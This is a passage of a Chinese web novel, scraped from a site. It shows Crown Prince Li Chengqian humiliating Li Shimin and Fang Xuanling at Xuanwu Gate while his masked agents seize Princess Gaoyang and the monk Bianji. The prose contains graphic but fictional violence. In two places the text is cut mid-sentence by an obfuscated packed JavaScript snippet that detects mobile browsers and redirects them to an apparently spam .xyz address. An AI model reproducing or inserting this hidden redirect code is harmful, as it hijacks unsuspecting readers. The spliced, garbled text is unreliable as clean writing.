房玄龄,我给你管教儿媳! 每一个字,都劈在李世民的灵魂深处。 往事,那些被他刻意尘封,用皇权和威严死死压在记忆最深处的血腥画面,在这一刻,被他最看重的儿子,用最残忍的方式,血淋淋地撕开,暴露在光天化日之下! 玄武门…… 又是玄武门! 当年的伏兵,当年的鲜血,当年的惨叫…… 李建成惊恐圆睁的双眼,李元吉至死不肯瞑目的怨毒,还有父亲那张失望透顶的脸…… 一幕一幕,在他眼前疯狂闪现。 李世民的身躯,开始不受控制地剧烈颤抖起来。 他感觉喉咙无法呼吸,更发不出半点声音。 他想呵斥,想反驳,想告诉他,朕那是为了大唐,为了天下! 可是在儿子那双洞悉一切的冰冷眼眸注视下,所有的话,都梗在了喉间,变成了无声的痉挛。 是啊…… 他有什么资格,在这里,在玄武门前,用“手足相残”这四个字,去质问自己的儿子? 这简直是天下间最荒谬,最可笑的讽刺! “你……” 李世民张了张嘴,只吐出了一个沙哑到不成样子的单音。 他的脸色,从苍白变成了死灰。 那股君临天下的帝王威仪,在这一刻,土崩瓦解,荡然无存。 他不再是那个雄才伟略的天可汗,而只是一个被儿子当众揭开最丑陋伤疤的,狼狈的父亲。 一个杀兄弑弟的……篡位者。 周遭,死一般的寂静。 风声,似乎也停了。 所有人都骇然地看着这对父子。 看着那个不可一世的帝王,在太子一句轻描淡写的反问下,溃不成军,哑口无言。 李承乾的目光,终于从他那已经形同槁木的父亲身上移开。 那双冰冷的眸子,缓缓转向了人群中一个瑟缩的身影。 房玄龄。 这位素来以沉稳老练、算无遗策著称的宰相,此刻只觉得一股寒气从脚底板直冲天灵盖。他本能地想要低下头,避开那道能穿透人心的视线,可身体却僵硬得不听使唤。 “房相。” 李承乾的声音不高,却敲在房玄龄的心上。 房玄龄的喉结艰难地滚动了一下,额角渗出了细密的冷汗。 李承乾往前踱了一步,染血的军靴在地板上留下一个清晰的印记。 “高阳,是你的儿媳。” “她与妖僧私通,秽乱宫闱,败坏皇家颜面。” “此事,长安城里,怕是连三岁的稚童都有所耳闻了吧?” 李承乾的语气平淡,却字字诛心。 房玄龄的脸色瞬间变得和李世民一样,惨白如纸。他知道,太子这是要拿他开刀了。 李承乾轻笑一声,笑声里却没有半分暖意,只有刺骨的森寒。 “你房玄龄,号称百官之首,却连自家的门风都管不好。任由一个**败坏我李唐皇室的声名,你说,朕……该如何看你?” 那个“朕”字,虽然僭越,但在此时此刻,却显得如此理所当然。 房玄龄嘴唇颤抖,扑通一声跪倒在地,声音抖得不成样子:“殿下……臣,臣有罪!” “有罪?”李承乾俯视着他,眼神里满是鄙夷,“一句有罪就想了事?” 他猛地抬高了声音,厉声呵斥:“既然你这做公公的整治不了,那你这儿媳的门风,孤来替你整治!” 这一声,炸得所有朝臣心惊肉跳。 这是要当着皇帝的面,直接插手相国家事,不,这已经不是家事了,这是在立威!在杀鸡儆猴! 李承乾环视一周,将所有人的惊恐尽收眼底,而后,他猛然喝道: “来人!” 声音在玄武门空旷的城楼下回荡,带着不容置疑的威严。 然而,应声而出的,并非众人以为的千牛卫或是金吾卫。 从玄武门两侧的阴影里,悄无声息地走出了数十道黑色的身影。 他们身着统一的玄色劲装,头戴青铜鬼面,腰挎制式横刀,动作整齐划一,落地无声。 大唐不良人! 当看清这些人的瞬间,李世民那本已死灰一片的瞳孔,骤然收缩! 一股比刚才被儿子揭开伤疤时,更加彻骨的寒意与悔恨,瞬间席卷了他全身。 不良 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16253035|182037||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人…… 这支由他一手创立,独立于所有官僚体系之外,只听命于他一人的暗影力量!他们是大唐最锋利的暗刃,是他用来监察天下、清除异己的最隐秘的武器! 不久之前,他们的统帅还是袁天罡,他们的效忠对象,还是他李世民! 可现在…… 现在他们却对自己的儿子俯首听命! 他们整齐划一地单膝跪地,不是朝着他这个皇帝,而是朝着那个手持滴血长剑的太子! “参见殿下!” 整齐划一的声音,冰冷而无情,敲碎了李世民作为帝王最后的尊严。 他什么时候失去这支力量的? 他怎么会丝毫没有察觉? 这个逆子,他的手……到底伸得有多长?! 李世民感觉自己的心脏被攥住,痛得他几乎要窒息。 这比刀斧加身更让他痛苦。这意味着,他不仅在情理上败了,在权力的掌控上,也已经输得一败涂地。 李承乾对父亲的痛苦视而不见,他享受着这种掌控一切的感觉,享受着父亲眼中那无法掩饰的恐惧和悔恨。 他抬起手,指向长安城的方向,声音刮得人生疼。 “传孤之令!即刻前往金城坊会昌寺,将妖僧辩机给孤擒来!若有反抗,格杀勿论!” “你敢!” 一声尖利的嘶吼划破了这压抑的死寂。 高阳公主再也无法维持她皇室公主的骄矜,一张俏脸因愤怒和恐惧而扭曲。她冲着李承乾,歇斯底里地尖叫:“李承乾!你疯了!他是我的人!你敢动他一根汗**试试!” 她以为,搬出自己的身份,至少能让李承乾有所顾忌。 然而,她太天真了。 李承乾缓缓转过头,那双看向她的眼睛里,没有一丝兄妹之情,只有纯粹的、不加掩饰的厌恶与杀意。 “拿下。” 他甚至懒得多说一个字,只是从牙缝里挤出两个字。 “遵命!” 一名不良人统领低喝一声,两名戴着鬼面的不良人立刻直扑高阳公主。 “放肆!你们这群狗奴才!我是公主!父皇!父皇救我!” 第111章 高阳公主丢尽李家颜面,该死! 高阳公主惊慌失措地尖叫着,试图躲到李世民的身后。 可那两名不良人动作快如闪电,根本不给她任何机会。 其中一人伸手如爪,精准地扣住了她的手腕,另一人则反剪她的双臂,大力传来,高阳只觉得双臂欲裂,整个人被死死地按在了地上。 她尊贵的公主朝服,在粗粝的石板上摩擦,沾满了血污与灰尘。头上的金钗珠翠散落一地,发髻凌乱,狼狈不堪,哪里还有半分金枝玉叶的模样。 “唔……放开……李承乾……你不得好死……” 一只冰冷的手掌,毫不怜惜地捂住了她的嘴,将她所有的咒骂和哭喊都堵了回去。 整个过程,干净利落,没有丝毫拖泥带水。 玄武门前,再次陷入了死一寂静。 所有的文武百官,眼睁睁看着大唐最受宠的公主,如同对待一个寻常囚犯般被瞬间制服,噤若寒蝉,连大气都不敢喘一口。 他们看向李承乾的眼神,已经从最初的震惊,变成了深入骨髓的恐惧。 这个太子…… 是真的疯了! 他连自己的亲妹妹都敢当众拿下,这世上,还有什么是他不敢做的? 李承乾漠然地扫了一眼被死死按在地上,还在呜咽挣扎的高阳,眼神里没有半分波澜,那不是他的亲妹妹,而是一件碍事的物件。 他收回目光,不再看他那已经面如死灰的父皇。 “去吧。” 那名不良人统领,一个被称为“鬼首”的男人,闻言无声地站起。他没有高声领命,只是对着李承乾的方向,将戴着鬼面的头颅深深一叩,而后猛然转身。 “唰!” 他身后,上百名不良人齐刷刷地站起,动作整齐划一,金属甲叶摩擦的声音汇成令人牙酸的寒流。他们没有呼喊,没有口号,只有死寂。 这支队伍转身,迈步,朝着长安城的方向,步伐沉重而富有节奏。 他们不是军队,军队有军旗,有战鼓,有高昂的士气。 他们是一群从地狱里爬出来的恶鬼,是太子手中最锋利、最无情的屠刀。他们所过之处,只带来死亡和恐惧。 房玄龄的袖中的手,不自觉地紧紧攥成了拳头,指甲深深掐进了掌心。他看着那支黑色洪流远去的背影,第一次感觉到一种源自灵魂深处的战栗。 这已经不是储君了。 这是……**!一个比陛下当年在玄武门,更加冷酷,更加疯狂的**! 长孙无忌的脸色同样难看到了极点。他偷偷瞥了一眼身旁脸色惨白,身躯摇摇欲坠的李世民,又看了看那被制服在地,呜咽不止的外甥女高阳。他的心,一寸寸地往下沉。 完了。 魏王完了,晋王也完了。 从今天起,这大唐的天,就真的只剩下这位太子了。谁敢再有二心,下场……恐怕比清河崔氏还要凄惨百倍。 …… 长安城,东市。 午后的阳光正好,商贩的叫卖声、孩童的嬉闹声、车马的喧嚣声交织在一起,构成了一幅繁华盛世的画卷。一个卖胡饼的波斯商人正扯着嗓子招揽顾客,几个顽童追逐着一只花蝴蝶,笑声清脆。 突然,一阵整齐划提的脚步声从朱雀大街的尽头传来。 “咚!咚!咚!” 那声音不大,却带着一种奇异的穿透力,直接敲击在人的心脏上。 街上的行人好奇地停下脚步,朝着声音传来的方向望去。 只见一队身着黑色劲装、头戴青面獠牙鬼面具的士兵,正以一种恒定不变的速度,朝着金城坊的方向行进。 他们的队列严整得令人发指,每一步的距离都分毫不差。他们手中提着统一制式的横刀,刀鞘漆黑,却掩盖不住那从刀柄处透出的森然杀气。 长安城的百姓,尤其是那些老一辈的人,对这身打扮并不陌生。 “是……是不良人!” 人群中,一个老者失声惊叫,声音里充满了难以置信的恐惧。 “快!快跑啊!” “不良人进城了!要**了!” 人群瞬间炸开了锅。那刚刚还充满烟火气息的繁华街道,顷刻间变成了人间地狱。 商贩们连摊子都顾不上了,手脚并用地往两旁的巷子里钻。行人们惊慌失措,相互推搡踩踏,哭喊声,尖叫声响成一片。一个母亲紧紧抱着自己的孩子,躲在墙角瑟瑟发抖,连哭都不敢哭出声。 那些追逐蝴蝶的孩童,被这突如其来的变故吓得呆立在原地,直到被父母一把拽走。 不过眨眼功夫,繁华的东市变得空空荡荡,只剩下满地狼藉的货物和一只被踩烂的灯笼。 不良人对此视若无睹。 他们目不斜视,步伐不变,从那一片狼藉中穿行而过。他们的鬼面之下,没有人知道是怎样的表情。 这股黑色的死亡旋风,席卷了整个长安城。 从朱雀大街到金城坊,沿途所有坊市的坊门被紧紧关闭,街上再无一个行人。家家户户门窗紧闭,胆大的人从门缝里偷偷窥探,只看到那队沉默的鬼卒,带来一片死寂。 整个长安城,瞬间被抽空了所有的声音和生机。 风声鹤唳,草木皆兵。 金城坊,会昌寺。 这里是长安城内有名的佛门清净地,香火鼎盛,往来皆是达官显贵。寺内的老僧正在给弟子们讲经,声音平和,檀香袅袅,一派安详。 “砰!” 一声惊天动地的巨响,将这份宁静彻底撕碎。 寺院那两扇厚重的朱漆大门,被巨力从外面硬生生踹开,碎裂的木屑向内迸射。 阳光从洞开的大门外照射进来,却显得格外刺眼。 数十名戴着鬼面的不良人,如同潮水般涌入寺内,他们手中的横刀已经出鞘,森白的刀锋在阳光下闪烁着令人心悸的寒光。 “啊!” 正在庭院中扫地的沙弥吓得扔掉扫帚,一屁股坐在地上,面无人色。 讲经的老僧和弟子们也被这突如其来的变故惊呆了,他们纷纷站起,惊疑不定地看着这群不速之客。 “阿弥陀佛!诸位施主,此乃佛门清净地,何故……”一名看上去年纪较长的僧人壮着胆子上前,试图理论。 他话未说完,为首的鬼首已经不耐烦地一挥手。 一道黑影闪过。 “噗嗤!” 鲜血飞溅,那名僧人双目圆瞪,捂着喷血的喉咙,难以置信地倒了下去,身体在地上抽搐了几下,便再无声息。 寺内的僧侣们爆发出惊恐的尖叫,四散奔逃,见了鬼。 鬼首冰冷的声音在偌大的寺院中回荡。 “奉太子令,捉拿妖僧辩机!但有反抗、包庇者,格杀勿论!” “妖僧”二字一出,在场的僧人无不色变。 不良人们不再理会那些四散奔逃的僧侣,他们分工明确,一部分人迅速控制了寺院的各个出口,另一部分人则在鬼首的带领下,直扑寺院深处的禅房。 他们显然对这里的地形了如指掌。 一路之上,但凡有不开眼的僧人试图阻拦,都会被毫不留情地一刀砍倒。鲜血染红了青石板,也染红了佛前的莲花。 很快,他们来到了一处僻静的院落前。 这里环境清幽,院内栽种着几竿翠竹,一间禅房的门窗紧闭。与寺内其他地方的朴素不同,这处院落的布置,处处透着不属于佛门的奢华与精致。 鬼首停下脚步,对着身后做了个手势。 两名不良人立刻上前,一脚踹开了禅房的门。 “轰!” 房门向内倒塌,扬起一片灰尘。 房间内的景象,让冲进去的不良人都不由得愣了一下。 这哪里是僧人的禅房? 分明是一间布置奢华的闺房! 地上铺着波斯地毯,墙上挂着名家字画,角落的香炉里,燃着价值千金的龙涎香。一张宽大的卧榻之上,纱幔低垂,隐约可见一个身影。 而那身影,此刻正赤着上身,惊恐地从榻上坐起。 他面容俊秀,皮肤白皙,眉宇间带着阴柔之气。 正是被高阳公主藏在会昌寺中的,辩机和尚。 辩机脑中一片空白,那声巨响直接在他颅内炸开,震得他魂飞魄散。 他僵硬地坐在榻上,丝滑的锦被从他白皙的肩头滑落,露出常年养尊处优而显得有些过分细腻的肌肤。 龙涎香的味道还萦绕在鼻尖,可现在,这醉人的香气里,混入了浓重的、不祥的铁锈味。 两名戴着狰狞鬼面的不良人,堵在门口,他们手中的横刀还在滴血。 那血,一滴,一滴,落在名贵的波斯地毯上,洇开一朵朵小小的、妖冶的红花。 “辩机……和尚?” 为首的鬼首走了进来,他那鬼面下的目光,扫过这间奢靡的“禅房”,最后落在辩机赤裸的上半身上,充满了毫不掩饰的鄙夷和厌恶。 辩机的嘴唇哆嗦着,他想开口说些什么,想辩解,想呼救,想念一句佛号来镇定心神。 他只能眼睁睁地看着鬼首一步步逼近。 那股浓烈的血腥气扑面而来,几乎让他窒息。 “不……不是我……”辩机终于挤出了几个字,声音嘶哑。 “你们……你们找错人了……” 鬼首似乎被他这句愚蠢的辩解给逗乐了,面具下的嘴角似乎扯了一下,发出了一声低沉的冷哼。 “带走。” 他没有半句废话,只吐出两个字。 那两名不良人立刻上前。 一人抓住辩机的一条胳膊,猛地将他从柔软的卧榻上拽了下来。 “啊!” 辩机惨叫一声,光着脚踩在冰冷的地板上,身体不受控制地向前踉跄。 他下意识地挣扎,可他那点常年沉迷于风花雪月的力气,在这些**如麻的恶鬼面前,简直就是个笑话。 “放开我!你们知道我是谁吗?我是高阳公主的人!你们敢动我,公主殿下不会放过你们的!” 情急之下,他嘶吼着搬出了自己最大的靠山。 然而,这话非但没有让不良人有丝毫的忌惮,反而引来了鬼首一声更响亮的嗤笑。 “高阳公主?”鬼首缓缓转过身,走到辩机面前,俯下身,鬼面几乎要贴到他的脸上,“我们抓的,就是她的人。” 这句话,如同一盆冰水,从辩机的头顶浇到了脚底。 他浑身的力气瞬间被抽空,整个人瘫软下去,全靠两名不良人架着才没有倒在地上。 完了。 一切都完了。 他最后的希望,破灭了。 不良人懒得再听他废话,随手从衣架上扯下一件僧袍,胡乱地裹在他身上,将他拖出了这间藏污纳垢的“禅房”。 院子里的翠竹依旧青翠,但辩机已经无心欣赏。 他被拖行在青石板路上。 当他被拖出院门,看到寺院内那血腥的景象时,骚臭的液体顺着他的大腿流了下来。 他吓尿了。 倒在地上的僧人,横七竖八,鲜血汇成一条条小溪,染红了他们灰色的僧袍,也染红了佛前慈悲的土地。 那些平日里与他一同谈经论道的师兄弟们,此刻都成了冰冷的尸体,圆瞪的双眼似乎还在无声地控诉着这突如其来的灾祸。 浓郁的檀香味和血腥味交织在一起,形成一种诡异而令人作呕的气味。 长安城,已经不是他熟悉的那个长安城了。 街道上,风声鹤唳。 曾经车水马龙的朱雀大街,此刻空无一人。 两旁的店铺门窗紧闭,家家户户大门紧锁,整座城市死寂沉沉。 只有一队队身着黑甲、手持戈矛的士兵,迈着整齐划一的步伐,在街道上巡逻。他们冰冷的甲胄在阴沉的天色下反射着幽光,肃杀之气弥漫在空气中的每一个角落。 辩机被两个不良人架着,踉踉跄跄地走在空旷的大街上。 他身上的僧袍被拖得歪歪斜斜,露出白皙的胸膛和肩膀,头发散乱,面如死灰,狼狈不堪。 他承受着从门缝窗隙后投来的、无数道或好奇、或怜悯、或幸灾乐祸的目光。 那些目光扎得他浑身刺痛。 他想低头,想把自己藏起来,可架着他的不良人却死死地扣着他的下巴,强迫他抬起头,直面这份无尽的耻辱。 “快走!” 身后的不良人毫不客气地推了他一把。 辩机一个趔趄,差点摔倒在地。 他不敢反抗,甚至不敢回头看一眼,只能麻木地向前挪动着脚步。 他的脑子里乱成一团浆糊。 为什么? 为什么会这样? 太子李承乾……那个传闻中在益州拥兵自重、手段狠辣的太子,他回来了。 然后,屠刀就落下来了。 辩机早就听闻过这位太子的威名,荆州杨建忠,清河崔氏,哪一个不是血流成河? 可他总抱着侥幸,觉得天子脚下,皇城之内,李承乾不敢如此放肆。更何况,他有高阳公主做靠山,那可是皇帝最宠爱的女儿。 现在看来,他错得何其离谱。 在这位铁血太子的眼中,什么皇亲国戚,什么佛门净地,都不过是挡在他路上的石头,随时可以一脚踢开,碾得粉碎。 队伍停了下来。 辩机被这突如其来的停顿弄得差点撞到前面的人。他茫然地抬起头,当他看清眼前的景象时,双腿一软,整个人“扑通”一声跪倒在地。 玄武门。 他们竟然把他带到了玄武门! 这座城门,对大唐的每一个人来说,都意味着太多东西。它不仅仅是一座城门,更是一个符号,一个象征着铁血、政变与杀戮的符号。 当年,当今陛下就是在这里,用兄弟的鲜血,铺就了自己的帝王之路。 而现在,太子李承乾,将他带到了这里。 其意图,不言而喻。 高大巍峨的城楼,在阴云的笼罩下。 城墙之上,旌旗猎猎,黑色的“太子”旗帜在风中狂舞,发出“呼啦啦”的声响,像是在为即将到来的杀戮而欢呼。 城门前,黑压压地站满了甲士,刀枪如林,寒光闪闪。 冰冷刺骨的杀气,如同实质,笼罩了整个广场,压得人喘不过气来。 辩机跪在地上,他牙齿打颤,发出“咯咯”的声响,眼中只剩下无边的恐惧。 他感觉自己除了绝望,什么也感受不到。 就在这时,他的眼角余光瞥见了一个熟悉的身影。 他僵硬地转过头去。 不远处,同样跪着一个女人。 她穿着华贵的宫装,此刻却沾满了尘土,发髻散乱,几缕青丝凌乱地贴在苍白的脸颊上。她的双手被反绑在身后,身旁站着两名面无表情的宫中卫士。 尽管如此狼狈,但她依旧竭力挺直了脊梁,那张曾经娇艳无双的脸上,写满了倔强与不甘。 是高阳公主! 辩机的心,在那一刻,彻底沉入了无底的深渊。 他最后的、也是最荒谬的幻想,被眼前这残酷的现实击得粉碎。 连公主都被抓了…… 连皇帝最宠爱的女儿,都像个囚犯一样跪在这里…… 他一个无权无势、只能依附女人的和尚,又算得了什么? 恐惧,像潮水将他淹没。 他看到高阳公主也发现了他,那双曾经柔情似水的眼眸中,此刻只剩下震惊、绝望,和微不可察的……怨毒。 在说:都是你!都是因为你这个祸害! “不……不……公主……” 辩机彻底崩溃了,他涕泪横流,语无伦次地向着高阳公主的方向爬去。 “公主救我!救我啊!!” 他凄厉的哀嚎声,在死寂的玄武门前回荡,显得那么刺耳,又那么可悲。 “闭嘴!” 一只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16253036|182037||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 军靴狠狠地踹在他的脸上,将他的哀嚎硬生生踹了回去。 剧痛传来,辩机感到一阵天旋地转,满嘴都是血腥味,几颗牙齿混合着血水被他吐了出来。 他趴在冰冷的石板上,连挣扎的力气都没有了。 他只是绝望地看着那面在风中狂舞的黑色大旗,心中只有一个念头。 他要**。 死在这个以杀戮闻名的地方。 就在这死一寂静中,一阵突兀的喧哗自玄武门外传来。 “拦住他!” “放肆!此乃禁地!” 甲士们呵斥的声音,伴随着兵刃碰撞的铿锵之声,刺破了凝固的空气。 所有人的目光,包括趴在地上等死的辩机,都不由自主地转向了城门方向。 只见一名身穿绿色官袍的青年,头冠歪斜,发丝散乱,如同疯了,推开层层阻拦的卫士,踉踉跄跄地冲了进来。他似乎用尽了全身的力气,脚下一个趔趄,重重地摔倒在冰冷的石板上,膝盖在坚硬的地面上磕出沉闷的响声。 可他浑然不顾,连滚带爬地向前,朝着城楼上那道高高在上的身影,嘶声力竭地哭喊道: “求太子殿下开恩!求太子殿下放过高阳公主!” 这声音,瞬间激起千层浪。 整个玄武门前,数百名文武百官,有一个算一个,脸上的表情都凝固了。 震惊,错愕,继而是难以言喻的尴尬与羞臊。 这……这不是房相的二公子,当朝驸马都尉,房遗爱吗? 他怎么会来? 还用这种方式?! 一瞬间,所有官员都觉得自己的脸颊火辣辣地烫。 这简直是把整个大唐官场的脸面,都按在地上摩擦! 妻子与和尚私通,被太子抓了个正着,他这个做丈夫的,不以为耻,反倒跑来这象征着铁血与王权的玄武门前,为自己那顶绿油油的帽子求情? 滑天下之大稽! 不少官员下意识地低下了头,眼观鼻,鼻观心,地上有什么稀世珍宝,生怕自己的目光与站在百官之首的房玄龄对上。那份替人尴尬的窘迫感,几乎让他们想找个地缝钻进去。 房玄龄的身子,在众人复杂的目光中,不易察觉地晃了一下。 他那张素来古井无波的脸上,血色以肉眼可见的速度褪去,变得和纸一样白。他能感觉到,四面八方投来的视线,扎在他的背上,扎在他的脸上,扎在他几十年来用智慧和谨慎筑起的尊严上。 他嘴唇翕动,想要呵斥那个不成器的逆子,却发现喉咙里一个字也发不出来。 就在这令人窒息的氛围中,一声轻笑,打破了僵局。 “呵呵……呵呵呵……” 笑声来自城楼之上。 李承乾站在高处,俯瞰着下方这出闹剧,先是低声失笑,随即笑声越来越大,越来越畅快,回荡在玄武门的上空,充满了毫不掩饰的嘲弄与冰冷的快意。 他缓缓踱步到城楼边缘,双手负后,目光越过跪地求饶的房遗爱,精准地落在了房玄龄的身上。 他的声音不大,却清晰地传到每一个人的耳朵里。 “房相,看看。” 李承乾伸出手指,懒洋洋地指向匍匐在地的房遗爱,嘴角噙着一抹残忍的笑意。 “这就是你的好儿子!” 轰! 房玄龄只觉得脑子里一声巨响,眼前阵阵发黑,差点一头栽倒在地。 羞辱! 这是赤裸裸的,毫不留情的羞辱! 当着满朝文武的面,太子用他最引以为耻的儿子,狠狠地抽了他一个耳光! 他一生算无遗策,辅佐陛下开创贞观盛世,何曾受过这等奇耻大辱! 他死死攥着袖中的拳头,指甲深深嵌入掌心,传来的刺痛才让他勉强维持着没有倒下。 而城楼下的房遗爱,似乎根本没有意识到自己给父亲带来了多大的麻烦。他只是一个劲儿地朝着李承乾的方向磕头,额头撞在青石板上,发出“砰砰”的闷响,鲜血很快就流了下来。 “殿下!公主她只是一时糊涂!求殿下念在皇家颜面,饶她一次吧!臣愿代她受过!求殿下开恩啊!” 他涕泪横流,状若癫狂。 跪在一旁的高阳公主,听到这熟悉又让她厌恶的声音,猛地抬起头。 当她看清那张沾满血和泪的脸时,她那双本已绝望的眸子里,瞬间燃起了滔天的怒火和鄙夷。 “房遗爱!” 她用尽全身力气,发出一声尖利的嘶吼。 “你这个废物!谁要你来求情!滚!给我滚!” 她的声音因为激动而变得嘶哑,充满了刻骨的恨意。 在她看来,房遗爱的出现,不是拯救,而是最后一重羞辱。她宁可高傲地死在这里,也不愿接受这个她从骨子里瞧不起的男人,用这种卑贱的方式为她求来的怜悯。 房遗爱的哭喊声戛然而止。 他呆呆地看着高阳公主,不敢相信自己的耳朵。他冒着触怒太子的风险,不顾一切地冲进来,换来的却是她毫不留情的唾骂。 “公主……”他喃喃着,眼神里满是受伤和不解。 李承乾饶有兴致地看着眼前这一幕,嘴角的笑意更深了。 他慢条斯理地走下城楼,黑色的太子常服在风中猎猎作响。 他没有理会任何人,径直走到了房遗爱的面前。 甲士们自动分开一条道路,目光中充满了敬畏。 李承乾停下脚步,低头看着这个跪在自己脚下的驸马,眼神里没有愤怒,只有一种猫捉老鼠戏谑。 “啧啧。”他摇了摇头,发出一声轻叹。 “房遗爱啊房遗爱,本宫真是为你感到可悲。” 他弯下腰,用手抬起房遗爱的下巴,强迫他看着自己。 “你的妻子,当今的公主,给你戴了一顶全天下人都知道的绿帽子。你非但不以为耻,还跑来为她求情。” 李承"乾的声音很轻,带着蛊惑的味道。 “而她呢?她骂你是废物,让你滚。” 他松开手,站直了身体,环视了一圈噤若寒蝉的文武百官,最后目光又落回到面如死灰的房玄龄身上。 “房相,你教的好儿子,真是情深义重啊。这等‘忠贞’,真是让本宫大开眼界。” “噗通。” 房玄龄再也支撑不住,双膝一软,跪倒在地。 他不是向太子下跪,而是被这无边的羞辱与绝望,彻底击垮了。 “陛下……老臣……有罪……” 他的声音苍老而沙哑,充满了无尽的疲惫与悲凉。 满朝文武,看着这位为大唐操劳了一生、白发苍苍的老相,就这么跪在玄武门前,心中五味杂陈。 有同情,有怜悯,但更多的是恐惧。 连房玄龄这等一人之下万人之上的重臣,都被太子逼到了这个地步。他们这些人,又算得了什么? 李承乾要的就是这个效果。 他要让所有人都知道,时代变了。 他不再是那个需要藏在益州、需要韬光养晦的秦王之子。 他是大唐的太子,未来的皇帝! 顺他者昌,逆他者亡! 他的目光冷冷地从辩机、高阳公主、房遗爱三人的脸上一一扫过,最后,停留在跪倒在地的房玄龄身上。 “房相何罪之有?” 李承乾的声音陡然变得森寒,再无笑意。 “子不教,父之过。你的儿子,当朝驸马,做出这等蠢事,丢尽了皇家的颜面,扰乱了朝纲法纪。你说,你该当何罪?” 他步步紧逼。 这已经不是在处置一桩皇室丑闻了。 这是杀鸡儆猴。 这是立威! 整个玄武门前,鸦雀无声,只剩下风吹过旌旗的呼啸声。 所有人都屏住了呼吸,等待着太子的最终裁决。 他们知道,今日之后,长安城的天,要变了。 第112章 天下无僧! 李承乾的质问,如同一柄无形的巨锤,悬在玄武门所有人的头顶。 风声似乎都静止了。 时间在这一刻被无限拉长,每一息都充满了窒息般的压迫感。 跪在地上的房玄龄,这位昔日运筹帷幄、决胜千里的大唐宰辅,此刻不过是一个风烛残年的老人。 他浑身颤抖,却一句话也说不出来,喉咙里只能发出“嗬嗬”的、如同破旧风箱般的声音。 李承乾的目光,终于从房玄龄那张布满绝望的脸上移开。 他缓缓转头,视线如同淬了冰的刀刃,先是轻飘飘地扫过一脸泪痕、瑟瑟发抖的高阳公主,那眼神里没有半分怜悯,只有纯粹的、不加掩饰的厌恶。 然后,他的目光定格在了那个从始至终都低着头、企图将自己缩成一团的和尚——辩机身上。 刹那间,辩机感觉自己仿佛被一条毒蛇盯上了。 一股寒意从脚底板直冲天灵盖,让他浑身的血液都几乎凝固。 他能感觉到,那道目光里不再是戏谑,不再是审判,而是最纯粹、最原始的杀意。 太子要杀他! 这个念头如同惊雷般在辩机脑中炸响。 他不想死! 他可是玄奘法师的高徒,是名满长安的大德高僧,他的人生才刚刚开始,他还有无尽的佛法要去参悟,怎么能像一条野狗一样,不明不白地死在这里? 求饶吗? 看房玄龄的下场就知道,求饶只会换来更深的羞辱。 恐惧与求生的本能在他心中疯狂交战,最终,一种扭曲的、属于修行人的傲慢占据了上风。 他猛地抬起头,迎上了李承乾那双黑得不见底的眸子。 他挣扎着从地上爬起来,虽然双腿还在打颤,却努力挺直了腰杆,将那身月白色的僧袍整理了一下,仿佛这样就能找回几分尊严。 “太子殿下!” 辩机的声音尖锐而突兀,划破了玄武门前的死寂。 所有人的目光都瞬间聚焦在他身上,满是错愕与不解。 疯了么? 这个时候还敢开口? 辩机却像是抓住了最后一根救命稻草,他深吸一口气,用尽全身力气高声呼喊:“你误入歧途了!滥用权柄,威逼重臣,此乃魔道所为!” 他见李承乾只是冷冷地看着他,没有立刻发作,胆气不由得又壮了几分。 他向前踏出一步,伸出手指,直指李承乾,声色俱厉地喝道:“我乃佛门高僧,是为天下苍生祈福之人!你不可辱我,更不可杀我!” “你若敢动我分毫,便是与天下佛门为敌!天下万千僧侣,必将视你为妖魔!我佛慈悲,亦有金刚怒目!届时,你必将被打入阿鼻地狱,受万劫不复之苦!” 他越说越激动,脸上浮现出一抹病态的潮红,仿佛自己已经化身为佛法正义的使者,正在审判眼前的**。 他说完了。 整个世界都安静了。 文武百官们惊恐地睁大了眼睛,他们简直不敢相信自己的耳朵。 威胁太子? 还是用虚无缥缈的佛祖和地狱来威胁? 这个和尚,是真的被吓傻了。 然而,出乎所有人意料的是,李承乾并没有勃然大怒。 他静静地听着,脸上的森寒渐渐褪去,取而代之的,是一种古怪的、令人毛骨悚然的表情。 “呵……” 一声轻笑从他喉咙里溢出。 紧接着,那笑声越来越大,越来越放肆,从低沉的闷笑,变成了响彻云霄的狂笑。 “哈哈……哈哈哈哈哈哈!” 李承乾笑得前仰后合,仿佛听到了全天下最好笑的笑话。 他的笑声在玄武门前空旷的广场上回荡,带着一股说不出的癫狂与邪异,让所有听到的人都从心底里发毛。 官员们下意识地后退,仿佛眼前站着的不是大唐太子,而是一个刚刚挣脱枷锁的绝世凶魔。 辩机脸上的得意与神圣瞬间凝固,取而代代的是无边的恐惧。 他从那笑声里,听不到一丝一毫的忌惮,只听到了纯粹的、视神佛如无物的蔑视! 笑了许久,李承乾才缓缓直起腰。 他抬手抹了抹眼角笑出来的生理泪水,那双漆黑的眸子再度锁定了辩机。 “十八层地狱?” 他的声音轻柔得像情人的呢喃,却让辩机如坠冰窟。 “好啊。” 李承乾的嘴角向上弯起一个残忍的弧度,他向前踏出一步,身上的黑袍无风自动。 “本宫倒真想去见识见识。” 他再踏出一步,滔天的杀气如狂澜般席卷而出,压得在场众人几乎喘不过气来。 “我若真下那十八层地狱,” 他脸上的笑容愈发灿烂,声音却陡然拔高,化作惊天动地的怒吼! “我便杀他个天翻地覆!杀他个鬼哭神嚎!” 他猛地伸出手,指向面如死灰的辩机,每一个字都如同重锤,狠狠砸在所有人的心上! 